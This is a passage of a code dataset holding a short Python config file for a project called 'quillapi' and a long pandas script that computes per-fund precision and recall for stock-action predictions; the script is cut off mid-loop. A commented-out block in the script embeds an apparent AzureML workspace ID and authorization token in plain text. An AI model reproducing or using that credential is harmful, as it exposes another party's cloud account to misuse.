+{"seq_id":"139514405","text":"#!usr/bin/env python\n\"\"\"\nPart 1 of the config job - configuring the innards of the app.\n\"\"\"\nimport os\n__author__ = 'donal'\n__project__ = 'quillapi'\n\n# ====================\n# POPULATE POSTGRES_KEYS AND #1-3 BLANKS AS REQUIRED\n# ====================\nDBNAME = 'quillapi'\nPK = os.environ.get('POSTGRES_KEYS', 'BLANK BLANK').split()\n\n# ====================\n# NAME OF YOUR LOG FILE\n# ====================\nLOGOUT = 'Devel_logs.log'\n\n# ====================\n# URL SETTINGS\n# ====================\nSERVICE = \"quill.api\"\nVERSION = \"v1.0\"\nAPI_USER = 'APU'\nAPI_SECRET = 'APS'\n# SOURCE_URL = 'SU'\n","sub_path":"config_vars.py","file_name":"config_vars.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"100389440","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 23 18:21:07 2018\n\n@author: datacore\n\"\"\"\n# import the necessary packages\n\nimport os, os.path\n\n#import csv\nimport pandas as pd\nimport numpy as np\n\nimport glob\nimport xlwt \nimport csv\n\n######################################## Sectors #####################################\n'''\nfrom azureml import Workspace\nws = Workspace(\n workspace_id='f50627ea613f47f4a4483609841ee3d9',\n authorization_token='snpj9iPtGLowpzpTjV2OzL6/oLX2FGnDkvwDQk0Xg5ckw9RO3ceC47hDyxbVYjx6s7/BRheZxY8JfCePrFsjQQ==',\n endpoint='https://studioapi.azureml.net'\n)\nexperiment = ws.experiments['f50627ea613f47f4a4483609841ee3d9.f-id.cbf3c0fb06024564afbc00797b162450']\nds = experiment.get_intermediate_dataset(\n node_id='02652b93-99aa-402e-85b2-7f5b264960f6-581',\n port_name='Results dataset',\n data_type_id='GenericCSV'\n)\nframe = ds.to_dataframe()\n'''\nframe = pd.read_csv(\"D:\\\\Stock_Prediction\\\\Non_Owner\\\\19Q1 Accuracy and 19Q2 Prediction\\\\19Q2_Prediction\\\\sec11_prediction_19Q2.csv\")\nresult = frame.rename(columns={'Scored Probabilities': 'ScoredProbabilities', 'Scored Labels': 'ScoredLabels'})\n'''\ndata1 = df1[(df1['ClassInd'] == 5) & (df1['ScoredLabels'] == 4)]\n\n# =============================================================================\n\ndata1.loc[(data1.ScoredProbabilities>=0.10), 'ScoredLabels'] = 5\ndata1.loc[(data1.ScoredProbabilities<0.10), 'ScoredLabels'] = 4\n\ntest = df1[~((df1['ClassInd'] == 5) & (df1['ScoredLabels'] == 4))]\nframes = [test, data1]\nresult = pd.concat(frames)\n\ngroup2 = result.ScoredLabels.value_counts()\nprint(group2)\n\n'''\n#result.to_csv('D:\\\\Stock_Prediction\\\\Non_Owner\\\\2018Q_Final_NonOwner_Sectorwise_Report\\\\result before report\\\\2018Q4_Sec_4.csv', sep=',', encoding='utf-8', index=False)\n\n#############################################################################\nroot_folder = \"D:\\\\Stock_Prediction\\\\Non_Owner\\\\19Q1 Accuracy and 19Q2 Prediction\\\\19Q2_Prediction\"\nCompanyAnalysis = root_folder+\"/CompanyAnalysis\"\nif not os.path.exists(CompanyAnalysis):\n os.makedirs(CompanyAnalysis) \n \n\nFinaloutput = root_folder+\"/FinalOutput\"\nif not os.path.exists(Finaloutput):\n os.makedirs(Finaloutput) \n \n#Read both the sheets from the excel sheet\ndf2 = pd.read_csv(\"D:\\\\Stock_Prediction\\\\Master Sheet\\\\Master Sheet New v2.csv\")\n\n\n#result.replace({'ClassInd': {1: 'Increasing', 0: 'Decreasing'}})\n\nresult.ClassInd.replace((4, 5), (\"Increasing\", \"Decreasing\"), inplace=True)\nresult.ScoredLabels.replace((4, 5), (\"Increasing\", \"Decreasing\"), inplace=True)\ndf1 = result\n\n\n\n\n\ndf1 = df1.rename(columns={'Investor Style': 'Investor_Style'})\n\ndf1 = df1.sort_values(by=['fund_id'],ascending=[True])\n#Methods to get the value of different columns in the master sheet with respect to value\n# =============================================================================\n# def FundName(FundId):\n# for i in range(0, len(df2['Fund_ID'].index)):\n# Fundname = df2[df2['Fund_ID']==FundId]['fund_house_name'].iloc[0]\n# return(Fundname)\n# \n# \n# def FundType(FundTypeID):\n# for i in range(0, len(df2['FundTypeID'].index)):\n# FundType = df2[df2['FundTypeID']==FundTypeID]['FundType'].iloc[0]\n# return(FundType)\n# \n# \n# def InvestorDescription(InvestorID):\n# for i in range(0, len(df2['InvestorID'].index)):\n# InvestorDescription = df2[df2['InvestorID']==InvestorID]['InvestorDescription'].iloc[0]\n# return(InvestorDescription)\n# \n# def AUM(AUMID):\n# for i in range(0, len(df2['AUMID'].index)):\n# AUM = df2[df2['AUMID']==AUMID]['AUM'].iloc[0]\n# return(AUM)\n# \n# def Turnover(TurnoverID):\n# for i in range(0, len(df2['TurnoverID'].index)):\n# Turnover = df2[df2['TurnoverID']==TurnoverID]['Turnover'].iloc[0]\n# return(Turnover)\n# \n# def Region(RegionID):\n# for i in range(0, len(df2['RegionID'].index)):\n# Region = df2[df2['RegionID']==RegionID]['Region'].iloc[0]\n# return(Region)\n# \n# def Ticker(id):\n# for i in range(0, len(df2['id'].index)):\n# Ticker = df2[df2['id']==id]['ticker'].iloc[0]\n# return(Ticker) \n# def Maxof4(i):\n# maxval = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Hold\\\"\",\"Scored Probabilities for Class \\\"Increasing\\\"\",\"Scored Probabilities for Class \\\"Remove\\\"\"]].max(axis=1).iloc[i]\n# return(maxval)\n# def conflevel(maxval):\n# if(maxval>=0 and maxval<0.5):\n# confval = \"Low\"\n# elif(maxval>=0.5 and maxval<0.7):\n# confval = \"Medium\"\n# elif(maxval>=0.7):\n# confval = \"High\"\n# return (confval)\n# \n# \n# =============================================================================\n\nindex=np.arange(len(df1.index)) \n#creates a new dataframe\nColumn_Names = ['fund_id','Fundname','fund_type','Type','Investor_Style','Style','AUMID','AUM','TurnoverID','Turnover','RegionID','Region','ActionTaken','ScoredLabels','Result','Resultfalse','Truepositive','Increment','Decrement','Hold','Remove','Incrementtotal','Decrementtotal','Holdtotal','Removetotal','Incrementfalse','Decrementfalse','Holdfalse','Removefalse','Incrementpredict','Decrementpredict','HoldPredict','Removepredict','Incrementfalsenegative','Decrementfalsenegative','Holdfalsenegative','Removefalsenegative','MaxConfidence','Confidencelevel']\ndf3 = pd.DataFrame(str(np.nan),index,columns= Column_Names)\ndf3['fund_id']=df1['fund_id']\ndf3['fund_type'] = df1['fund_type']\ndf3['Investor_Style']= df1['Investor_Style']\ndf3['AUMID'] = df1['AUM']\ndf3['TurnoverID'] = df1['Turnover']\ndf3['RegionID'] = df1['Region']\ndf3['ActionTaken'] = df1['ClassInd']\ndf3['ScoredLabels'] = df1['ScoredLabels']\n\n\n\ndf3 = df3.sort_values(by=['fund_id'],ascending=[True])\n\n#df3 ['MaxConfidence'] = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Hold\\\"\",\"Scored Probabilities for Class \\\"Increasing\\\"\",\"Scored Probabilities for Class \\\"Remove\\\"\"]].max(axis=1)\n#df3 ['MaxConfidence'] = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Hold\\\"\",\"Scored Probabilities for Class \\\"Increasing\\\"\"]].max(axis=1)\n'''\ndf3 ['MaxConfidence'] = df1[[\"ScoredProbabilities\"]].max(axis=1)\n\ndf3.loc[df3['MaxConfidence'] >= 0.7, 'Confidencelevel'] = \"High\"\n\ndf3.loc[df3['MaxConfidence'] < 0.7,'Confidencelevel'] = \"Medium\"\n\ndf3.loc[df3['MaxConfidence'] < 0.5, 'Confidencelevel'] = \"Low\"\n'''\n\n\n\n\n\n#for i in range(0, len(df1.index)):\n# df3['MaxConfidence'] = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Hold\\\"\",\"Scored Probabilities for Class \\\"Increasing\\\"\",\"Scored Probabilities for Class \\\"Remove\\\"\"]].max(axis=1).iloc[i]\n# \n#if(df3['MaxConfidence']>=0 and df3['MaxConfidence']<0.5):\n# df3['Confidencelevel'] = \"Low\"\n#elif(df3['MaxConfidence']>=0.5 and df3['MaxConfidence']<0.7):\n# df3['Confidencelevel'] = \"Medium\"\n#elif(df3['MaxConfidence']>=0.7):\n# df3['Confidencelevel'] = \"High\"\n# \n#\n##df3['Fundname'] = df3['Fundname'].astype(str)\n#for i in range(0, len(df1.index)): \n# df3.Fundname.values[i]= FundName(df1.fund_id.values[i])\n# # df3.Fundname.values[i]= (\"A\".astype(float)) \n# df3.Type.values[i] = FundType(df1.fund_type.values[i]) \n# df3.Style.values[i] = InvestorDescription(df1.Investor_Style.values[i])\n# df3.AUM.values[i] = AUM(df1.AUM.values[i]) \n# df3.Turnover.values[i] = Turnover(df1.Turnover.values[i]) \n# df3.Region.values[i] = Region(df1.Region.values[i]) \n# df3.MaxConfidence.values[i] = Maxof4(i)\n# df3.Confidencelevel.values[i]= conflevel(df3.MaxConfidence.values[i])\n# \n'''\nFund Analysis_1Q2018_ML_ALL_ML_Studio\n1. Step 1 - Divide the data frame to 4 different file(Increment, Decrement, Hold, Remove)\n2. Step 2 - Add condition where Action taken = Scored labels (Truepositive)\n3. Step 3 - Add condition where Action taken !=Scored labels(False positive)\n4. Step 4 - Original will be the total action taken value\n5. Step5 - Prediction will be the total scored labels value\n6. Step 6 - If Scored labels != Action Taken (False Negative)\n\n\n'''\nfor i in range(0, len(df3.index)): \n if df3.ActionTaken.values[i] =='Increasing':\n df3.Incrementtotal.values[i] = 1\n elif df3.ActionTaken.values[i] =='Decreasing':\n df3.Decrementtotal.values[i] = 1\n elif df3.ActionTaken.values[i] =='Hold':\n df3.Holdtotal.values[i] = 1\n elif df3.ActionTaken.values[i] =='Remove':\n df3.Removetotal.values[i] = 1 \n \n if df3.ScoredLabels.values[i] =='Increasing':\n df3.Incrementpredict.values[i] = 1\n elif df3.ScoredLabels.values[i] =='Decreasing':\n df3.Decrementpredict.values[i] = 1\n elif df3.ScoredLabels.values[i] =='Hold':\n df3.HoldPredict.values[i] = 1\n elif df3.ScoredLabels.values[i] =='Remove':\n df3.Removepredict.values[i] = 1 \n \n \n if df3.ActionTaken.values[i] == df3.ScoredLabels.values[i]:\n df3.Result.values[i] = 1\n if df3.ActionTaken.values[i] =='Increasing':\n df3.Increment.values[i] = 1\n elif df3.ActionTaken.values[i] =='Decreasing':\n df3.Decrement.values[i] = 1\n elif df3.ActionTaken.values[i] =='Hold':\n df3.Hold.values[i] = 1\n elif df3.ActionTaken.values[i] =='Remove':\n df3.Remove.values[i] = 1\n \n else:\n df3.Result.values[i] = 0\n if df3.ActionTaken.values[i] =='Increasing':\n df3.Incrementfalse.values[i] = 1\n elif df3.ActionTaken.values[i] =='Decreasing':\n df3.Decrementfalse.values[i] = 1\n elif df3.ActionTaken.values[i] =='Hold':\n df3.Holdfalse.values[i] = 1\n elif df3.ActionTaken.values[i] =='Remove':\n df3.Removefalse.values[i] = 1\n \n if df3.ScoredLabels.values[i] == df3.ActionTaken.values[i]:\n df3.Resultfalse.values[i] = 1\n else:\n df3.Resultfalse.values[i] = 0\n if df3.ScoredLabels.values[i] =='Increasing':\n df3.Incrementfalsenegative.values[i] = 1\n elif df3.ScoredLabels.values[i] =='Decreasing':\n df3.Decrementfalsenegative.values[i] = 1\n elif df3.ScoredLabels.values[i] =='Hold':\n df3.Holdfalsenegative.values[i] = 1\n elif df3.ScoredLabels.values[i] =='Remove':\n df3.Removefalsenegative.values[i] = 1\n#For making different worksheets as per the requirment\n \ndf3Increment = df3.groupby(['fund_id','Increment']).size().reset_index(name='ResultIncre')\ndf3Decrement = df3.groupby(['fund_id','Decrement']).size().reset_index(name='ResultDecre')\ndf3Hold = df3.groupby(['fund_id','Hold']).size().reset_index(name='ResultHold')\ndf3Remove = df3.groupby(['fund_id','Remove']).size().reset_index(name='ResultRemove')\n\ndf3Incrementtotal = df3.groupby(['fund_id','Incrementtotal']).size().reset_index(name='ResultIncre')\ndf3Decrementtotal = df3.groupby(['fund_id','Decrementtotal']).size().reset_index(name='ResultDecre')\ndf3Holdtotal = df3.groupby(['fund_id','Holdtotal']).size().reset_index(name='ResultHold')\ndf3Removetotal = df3.groupby(['fund_id','Removetotal']).size().reset_index(name='ResultRemove')\n\n\ndf3Incrementpredict = df3.groupby(['fund_id','Incrementpredict']).size().reset_index(name='ResultIncre')\ndf3Decrementpredict = df3.groupby(['fund_id','Decrementpredict']).size().reset_index(name='ResultDecre')\ndf3HoldPredict = df3.groupby(['fund_id','HoldPredict']).size().reset_index(name='ResultHold')\ndf3Removepredict = df3.groupby(['fund_id','Removepredict']).size().reset_index(name='ResultRemove')\n\n\ndf3Incrementfalse = df3.groupby(['fund_id','Incrementfalse']).size().reset_index(name='ResultIncre')\ndf3Decrementfalse = df3.groupby(['fund_id','Decrementfalse']).size().reset_index(name='ResultDecre')\ndf3Holdfalse = df3.groupby(['fund_id','Holdfalse']).size().reset_index(name='ResultHold')\ndf3Removefalse = df3.groupby(['fund_id','Removefalse']).size().reset_index(name='ResultRemove')\n\ndf3Incrementfalsenegative = df3.groupby(['fund_id','Incrementfalsenegative']).size().reset_index(name='ResultIncre')\ndf3Decrementfalsenegative = df3.groupby(['fund_id','Decrementfalsenegative']).size().reset_index(name='ResultDecre')\ndf3Holdfalsenegative = df3.groupby(['fund_id','Holdfalsenegative']).size().reset_index(name='ResultHold')\ndf3Removefalsenegative = df3.groupby(['fund_id','Removefalsenegative']).size().reset_index(name='ResultRemove')\n\ndf3result = df3.groupby(['fund_id','Result']).size().reset_index(name='Result1')\ndf3results = df3.groupby(['fund_id','Result']).size().reset_index(name='Result1')\ndf3result1 = df3.groupby(['fund_id','Resultfalse']).size().reset_index(name='Result2')\n\ndf3result['Truepositive'] = str(np.nan)\ndf3results['Falsepositive'] = str(np.nan)\n\nfor i in range(0, len(df3result.index)): \n if(df3result.Result.values[i] == 1):\n df3result.Truepositive.values[i] = df3result.Result1.values[i]\n \nfor i in range(0, len(df3results.index)): \n if(df3results.Result.values[i] == 0):\n df3results.Falsepositive.values[i] = df3results.Result1.values[i]\n \n\ndf3result1['Falsenegative'] = str(np.nan) \n\nfor i in range(0, len(df3result1.index)): \n if(df3result1.Resultfalse.values[i] == 0):\n df3result1.Falsenegative.values[i] = df3result1.Result2.values[i]\n \ndf3result = df3result.sort_values(['Result'], ascending=[False])\ndf3result = df3result.drop_duplicates(['fund_id'],keep='first')\ndf3result = df3result.drop(['Result','Result1'], axis=1)\n\ndf3results = df3results.sort_values(['Result'], ascending=[True])\ndf3results = df3results.drop_duplicates(['fund_id'],keep='first')\ndf3results = df3results.drop(['Result','Result1'], axis=1)\ndf3result = df3result.replace('nan', 0)\ndf3results = df3results.replace('nan', 0)\n\n#\n##-------------------------------------------------------------------------------\n#\n#data_dict = []\n#CSV_dict =[]\n#j=0\n#for i in range(0, len(df3result.index)):\n# j=j+1\n# if j == 1:\n# v_fund_id = df3result.fund_id.values[i] \n# v_true_positive = df3result.Truepositive.values[i] \n# continue\n# if j== 2:\n# v_false_positive = df3result.Falsepositive.values[i]\n# \n# df3result_dict = []\n# df3result_dict.append(v_fund_id)\n# df3result_dict.append(v_true_positive)\n# df3result_dict.append(v_false_positive)\n# CSV_dict.append(df3result_dict)\n# j=0\n# continue\n#col_names = [\"fund_id\",\"Truepositive\", 'Falsepositive']\n#\n##Creating data frame with the specified columns\n#TempDf = pd.DataFrame.from_records(CSV_dict, columns=col_names)\n#columns = ['Truepositive','Falsepositive']\n#df3result.drop(columns, inplace=True, axis=1)\n#Temp1df = df3result.drop_duplicates(subset=['fund_id'], keep='first')\n#\n#df3resultfinal = pd.merge(Temp1df, TempDf, on=\"fund_id\")\n#\n##-------------------------------------------------------------------------------\ndf3result1 = df3result1.sort_values(['fund_id','Resultfalse'], ascending=[True,True])\ndf3result1 = df3result1.drop_duplicates(['fund_id'],keep='first')\ndf3result1 = df3result1.drop(['Resultfalse','Result2'], axis=1)\ndf3result1 = df3result1.replace('nan', 0)\n#---------------------------------------------------------------------------\ndf3Increment['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df3Increment.index)): \n if(df3Increment.Increment.values[i] == 1):\n df3Increment.Truepositive.values[i] = df3Increment.ResultIncre.values[i]\n \ndf3Increment = df3Increment.drop_duplicates(['fund_id',],keep='first')\n\ndf3Increment = df3Increment.drop(['Increment','ResultIncre'], axis=1)\n\n#-----------------------------------------------------------------------------\n\ndf3Decrement['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df3Decrement.index)): \n if(df3Decrement.Decrement.values[i] == 1):\n df3Decrement.Truepositive.values[i] = df3Decrement.ResultDecre.values[i]\n \ndf3Decrement = df3Decrement.drop_duplicates(['fund_id',],keep='first')\n\ndf3Decrement = df3Decrement.drop(['Decrement','ResultDecre'], axis=1)\n#----------------------------------------)---------------------------\n\ndf3Hold['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df3Hold.index)): \n if(df3Hold.Hold.values[i] == 1):\n df3Hold.Truepositive.values[i] = df3Hold.ResultHold.values[i]\n \ndf3Hold = df3Hold.drop_duplicates(['fund_id',],keep='first')\n\ndf3Hold = df3Hold.drop(['Hold','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Remove['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df3Remove.index)): \n if(df3Remove.Remove.values[i] == 1):\n df3Remove.Truepositive.values[i] = df3Remove.ResultRemove.values[i]\n \ndf3Remove = df3Remove.drop_duplicates(['fund_id',],keep='first')\n\ndf3Remove = df3Remove.drop(['Remove','ResultRemove'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Incrementtotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df3Incrementtotal.index)): \n if(df3Incrementtotal.Incrementtotal.values[i] == 1):\n df3Incrementtotal.Originals.values[i] = df3Incrementtotal.ResultIncre.values[i]\n \ndf3Incrementtotal = df3Incrementtotal.drop_duplicates(['fund_id',],keep='first')\n\ndf3Incrementtotal = df3Incrementtotal.drop(['Incrementtotal','ResultIncre'], axis=1)\n\n\n#-------------------------------------------------------------------------\n\ndf3Decrementtotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df3Decrementtotal.index)): \n if(df3Decrementtotal.Decrementtotal.values[i] == 1):\n df3Decrementtotal.Originals.values[i] = df3Decrementtotal.ResultDecre.values[i]\n \ndf3Decrementtotal = df3Decrementtotal.drop_duplicates(['fund_id',],keep='first')\n\ndf3Decrementtotal = df3Decrementtotal.drop(['Decrementtotal','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Holdtotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df3Holdtotal.index)): \n if(df3Holdtotal.Holdtotal.values[i] == 1):\n df3Holdtotal.Originals.values[i] = df3Holdtotal.ResultHold.values[i]\n \ndf3Holdtotal = df3Holdtotal.drop_duplicates(['fund_id',],keep='first')\n\ndf3Holdtotal = df3Holdtotal.drop(['Holdtotal','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Removetotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df3Removetotal.index)): \n if(df3Removetotal.Removetotal.values[i] == 1):\n df3Removetotal.Originals.values[i] = df3Removetotal.ResultRemove.values[i]\n \ndf3Removetotal = df3Removetotal.drop_duplicates(['fund_id',],keep='first')\n\ndf3Removetotal = df3Removetotal.drop(['Removetotal','ResultRemove'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Incrementpredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df3Incrementpredict.index)): \n if(df3Incrementpredict.Incrementpredict.values[i] == 1):\n df3Incrementpredict.Prediction.values[i] = df3Incrementpredict.ResultIncre.values[i]\n \ndf3Incrementpredict = df3Incrementpredict.drop_duplicates(['fund_id',],keep='first')\n\ndf3Incrementpredict = df3Incrementpredict.drop(['Incrementpredict','ResultIncre'], axis=1)\n\n\n#-------------------------------------------------------------------------\n\ndf3Decrementpredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df3Decrementpredict.index)): \n if(df3Decrementpredict.Decrementpredict.values[i] == 1):\n df3Decrementpredict.Prediction.values[i] = df3Decrementpredict.ResultDecre.values[i]\n \ndf3Decrementpredict = df3Decrementpredict.drop_duplicates(['fund_id',],keep='first')\n\ndf3Decrementpredict = df3Decrementpredict.drop(['Decrementpredict','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3HoldPredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df3HoldPredict.index)): \n if(df3HoldPredict.HoldPredict.values[i] == 1):\n df3HoldPredict.Prediction.values[i] = df3HoldPredict.ResultHold.values[i]\n \ndf3HoldPredict = df3HoldPredict.drop_duplicates(['fund_id',],keep='first')\n\ndf3HoldPredict = df3HoldPredict.drop(['HoldPredict','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Removepredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df3Removepredict.index)): \n if(df3Removepredict.Removepredict.values[i] == 1):\n df3Removepredict.Prediction.values[i] = df3Removepredict.ResultRemove.values[i]\n \ndf3Removepredict = df3Removepredict.drop_duplicates(['fund_id',],keep='first')\n\ndf3Removepredict = df3Removepredict.drop(['Removepredict','ResultRemove'], axis=1)\n\n\n#-------------------------------------------------------------------------\n\ndf3Incrementfalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df3Incrementfalse.index)): \n if(df3Incrementfalse.Incrementfalse.values[i] == 1):\n df3Incrementfalse.FalsePositive.values[i] = df3Incrementfalse.ResultIncre.values[i]\n \ndf3Incrementfalse = df3Incrementfalse.drop_duplicates(['fund_id',],keep='first')\n\ndf3Incrementfalse = df3Incrementfalse.drop(['Incrementfalse','ResultIncre'], axis=1)\n\n#-----------------------------------------------------------------------------\n\ndf3Decrementfalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df3Decrementfalse.index)): \n if(df3Decrementfalse.Decrementfalse.values[i] == 1):\n df3Decrementfalse.FalsePositive.values[i] = df3Decrementfalse.ResultDecre.values[i]\n \ndf3Decrementfalse = df3Decrementfalse.drop_duplicates(['fund_id',],keep='first')\n\ndf3Decrementfalse = df3Decrementfalse.drop(['Decrementfalse','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------\ndf3Holdfalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df3Holdfalse.index)): \n if(df3Holdfalse.Holdfalse.values[i] == 1):\n df3Holdfalse.FalsePositive.values[i] = df3Holdfalse.ResultHold.values[i]\n \ndf3Holdfalse = df3Holdfalse.drop_duplicates(['fund_id',],keep='first')\n\ndf3Holdfalse = df3Holdfalse.drop(['Holdfalse','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Removefalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df3Removefalse.index)): \n if(df3Removefalse.Removefalse.values[i] == 1):\n df3Removefalse.FalsePositive.values[i] = df3Removefalse.ResultRemove.values[i]\n \ndf3Removefalse = df3Removefalse.drop_duplicates(['fund_id',],keep='first')\n\ndf3Removefalse = df3Removefalse.drop(['Removefalse','ResultRemove'], axis=1)\n#-------------------------------------------------------------------------\n\ndf3Incrementfalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df3Incrementfalsenegative.index)): \n if(df3Incrementfalsenegative.Incrementfalsenegative.values[i] == 1):\n df3Incrementfalsenegative.FalseNegative.values[i] = df3Incrementfalsenegative.ResultIncre.values[i]\n \ndf3Incrementfalsenegative = df3Incrementfalsenegative.drop_duplicates(['fund_id',],keep='first')\n\ndf3Incrementfalsenegative = df3Incrementfalsenegative.drop(['Incrementfalsenegative','ResultIncre'], axis=1)\n\n#-----------------------------------------------------------------------------\n\ndf3Decrementfalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df3Decrementfalsenegative.index)): \n if(df3Decrementfalsenegative.Decrementfalsenegative.values[i] == 1):\n df3Decrementfalsenegative.FalseNegative.values[i] = df3Decrementfalsenegative.ResultDecre.values[i]\n \ndf3Decrementfalsenegative = df3Decrementfalsenegative.drop_duplicates(['fund_id',],keep='first')\n\ndf3Decrementfalsenegative = df3Decrementfalsenegative.drop(['Decrementfalsenegative','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------\ndf3Holdfalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df3Holdfalsenegative.index)): \n if(df3Holdfalsenegative.Holdfalsenegative.values[i] == 1):\n df3Holdfalsenegative.FalseNegative.values[i] = df3Holdfalsenegative.ResultHold.values[i]\n \ndf3Holdfalsenegative = df3Holdfalsenegative.drop_duplicates(['fund_id',],keep='first')\n\ndf3Holdfalsenegative = df3Holdfalsenegative.drop(['Holdfalsenegative','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf3Removefalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df3Removefalsenegative.index)): \n if(df3Removefalsenegative.Removefalsenegative.values[i] == 1):\n df3Removefalsenegative.FalseNegative.values[i] = df3Removefalsenegative.ResultRemove.values[i]\n \ndf3Removefalsenegative = df3Removefalsenegative.drop_duplicates(['fund_id',],keep='first')\n\ndf3Removefalsenegative = df3Removefalsenegative.drop(['Removefalsenegative','ResultRemove'], axis=1)\n\n#-------------------------------------------------------------------------\ndf3Increfinal = []\n\n\n#df3Increfinal = [df3Increment,df3Incrementfalse,df3Incrementpredict,df3Incrementtotal]\ndf3Increfinal = pd.merge(df3Increment, df3Incrementfalse, on=['fund_id'])\ndf3Increfinal = pd.merge(df3Increfinal, df3Incrementpredict, on=['fund_id'])\ndf3Increfinal = pd.merge(df3Increfinal, df3Incrementtotal, on=['fund_id'])\ndf3Increfinal = pd.merge(df3Increfinal, df3Incrementfalsenegative, on=['fund_id'])\n\n\n#---------------------------------------------------------------------------\n\ndf3Decrefinal = []\n\n#df3Decrefinal = [df3Decrement,df3Decrementfalse,df3Decrementpredict,df3Decrementtotal]\ndf3Decrefinal = pd.merge(df3Decrement, df3Decrementfalse, on=['fund_id'])\ndf3Decrefinal = pd.merge(df3Decrefinal, df3Decrementpredict, on=['fund_id'])\ndf3Decrefinal = pd.merge(df3Decrefinal, df3Decrementtotal, on=['fund_id'])\ndf3Decrefinal = pd.merge(df3Decrefinal, df3Decrementfalsenegative, on=['fund_id'])\n#-----------------------------------------------------------------------------\n\ndf3Holdfinal = []\n\n#df3Holdfinal = [df3Hold,df3Holdfalse,df3HoldPredict,df3Holdtotal]\ndf3Holdfinal = pd.merge(df3Hold, df3Holdfalse, on=['fund_id'])\ndf3Holdfinal = pd.merge(df3Holdfinal, df3HoldPredict, on=['fund_id'])\ndf3Holdfinal = pd.merge(df3Holdfinal, df3Holdtotal, on=['fund_id'])\ndf3Holdfinal = pd.merge(df3Holdfinal, df3Holdfalsenegative, on=['fund_id'])\n#-----------------------------------------------------------------------------\ndf3Removefinal = []\n\n#df3Removefinal = [df3Remove,df3Removefalse,df3RemovePredict,df3Removetotal]\ndf3Removefinal = pd.merge(df3Remove, df3Removefalse, on=['fund_id'])\ndf3Removefinal = pd.merge(df3Removefinal, df3Removepredict, on=['fund_id'])\ndf3Removefinal = pd.merge(df3Removefinal, df3Removetotal, on=['fund_id'])\ndf3Removefinal = pd.merge(df3Removefinal, df3Removefalsenegative, on=['fund_id'])\n\n#-----------------------------------------------------------------------------\n\ndf5 = df1.groupby(['fund_id','ClassInd']).size().reset_index(name='Originals')\ndf5sum = pd.Series.to_frame(df5.groupby(['fund_id'])[\"Originals\"].apply(lambda x : x.astype(int).sum()))\n\ndf5sum['fund_id'] = df5sum.index\n\ndf7 = df1.groupby(['fund_id','ScoredLabels']).size().reset_index(name='Predictions')\ndf7sum = pd.Series.to_frame(df7.groupby(['fund_id'])['Predictions'].sum())\ndf7sum['fund_id'] = df7sum.index\ndf6 = df3.drop_duplicates(['fund_id'],keep='first')\n\nresults = pd.merge(df6,\n\n df2[['fund_id', 'fund_house_name']],\n\n on='fund_id')\n\nresults['Fundname'] = results['fund_house_name']\n\nresults = pd.merge(results,\n\n df2[['fund_type', 'FundType']],\n\n on='fund_type')\n\nresults['Type'] = results['FundType']\n\n\nresults = pd.merge(results,\n\n df2[['Investor_Style', 'InvestorDescription']],\n\n on='Investor_Style')\n\nresults['Style'] = results['InvestorDescription']\n\nresults = pd.merge(results,\n\n df2[['AUMID', 'AUM']],\n\n on='AUMID')\n\nresults['AUM'] = results['AUM_y']\n\nresults = pd.merge(results,\n\n df2[['TurnoverID', 'Turnover']],\n\n on='TurnoverID')\nresults['Turnover'] = results['Turnover_y']\n\nresults = pd.merge(results,\n\n df2[['RegionID', 'Region']],\n\n on='RegionID')\n\nresults['Region'] = results['Region_y']\n\nresults.drop(['fund_type','Investor_Style','AUMID','AUM_x','AUM_y','Turnover_x','Turnover_y','Region_x','Region_y','TurnoverID','RegionID','ActionTaken','ScoredLabels','Result','Truepositive','Increment','Decrement','Hold','Remove','Incrementtotal','Decrementtotal','Holdtotal','Removetotal','Incrementfalse','Decrementfalse','Holdfalse','Removefalse','Incrementpredict','Decrementpredict','HoldPredict','Removepredict','Incrementfalsenegative','Decrementfalsenegative','Holdfalsenegative','Removefalsenegative'], axis=1, inplace=True)\ndf = pd.merge(df5sum, df7sum, on=['fund_id'])\n\n\nIncrement = df3Increfinal.join(results.set_index('fund_id'), on='fund_id')\n\n\nIncrement['Recall']= str(np.nan)\nIncrement['PRECISION']= str(np.nan)\nIncrement['F1Score']= str(np.nan)\n\n\nfor i in range(0, len(Increment.index)):\n 